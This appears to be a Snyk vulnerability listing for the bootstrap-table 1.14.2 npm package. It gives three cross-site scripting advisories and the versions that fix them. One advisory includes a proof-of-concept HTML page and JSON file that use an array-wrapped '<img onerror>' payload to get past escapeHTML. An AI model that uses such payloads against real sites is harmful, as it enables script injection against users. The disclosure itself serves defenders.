bootstrap-table@1.14.2 vulnerabilities

An extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation)

  • latest version

    1.23.5

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    2 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the bootstrap-table package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Cross-site Scripting (XSS)

    bootstrap-table is an extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation, Vue.js).

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the onCellHtmlData function. If you set the exportOptions in the Bootstrap Table to true, it will allow arbitrary Javascript to execute.

    How to fix Cross-site Scripting (XSS)?

    Upgrade bootstrap-table to version 1.20.2 or higher.

    <1.20.2
    • M
    Cross-site Scripting (XSS)

    bootstrap-table is an extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation, Vue.js).

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization of the onCellHtmlData callback method, it is possible to be exploited when exportOptions is set to "true".

    How to fix Cross-site Scripting (XSS)?

    Upgrade bootstrap-table to version 1.20.2 or higher.

    <1.20.2
    • L
    Cross-site Scripting (XSS)

    bootstrap-table is an extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation, Vue.js).

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). A type confusion vulnerability can lead to a bypass of input sanitization when the input provided to the escapeHTML function is an array (instead of a string) even if the escape attribute is set.

    PoC

    <!DOCTYPE html>
    <html lang="en">
        <head>
        <meta charset="UTF-8">
        <title>BootStrap-Table</title>
        
        <link href="./node_modules/bootstrap-table/dist/bootstrap-table.min.css" rel="stylesheet">
        <script type="text/javascript" src="./node_modules/jquery/dist/jquery.js"></script>
        <script type="text/javascript" src="./node_modules/bootstrap-table/dist/bootstrap-table.js"></script>
    
    
        </head>
        <body>
            <table 
                id="table"
                data-toggle="table"
                data-escape="true"
                data-url="json/data1.json"
            >
                <thead>
                  <tr>
                    <th data-field="name"></th>
                  </tr>
                </thead>
            </table>
        </body>
    </html>
    

    Content of json/data1.json:

    [
        {
            "name": "Hello World! <img src='' onerror='alert(1)' />"
        },
        {
            "name": ["Hello World! <img src='' onerror='alert(2)' />"]
        }
    ]
    

    How to fix Cross-site Scripting (XSS)?

    Upgrade bootstrap-table to version 1.19.1 or higher.

    <1.19.1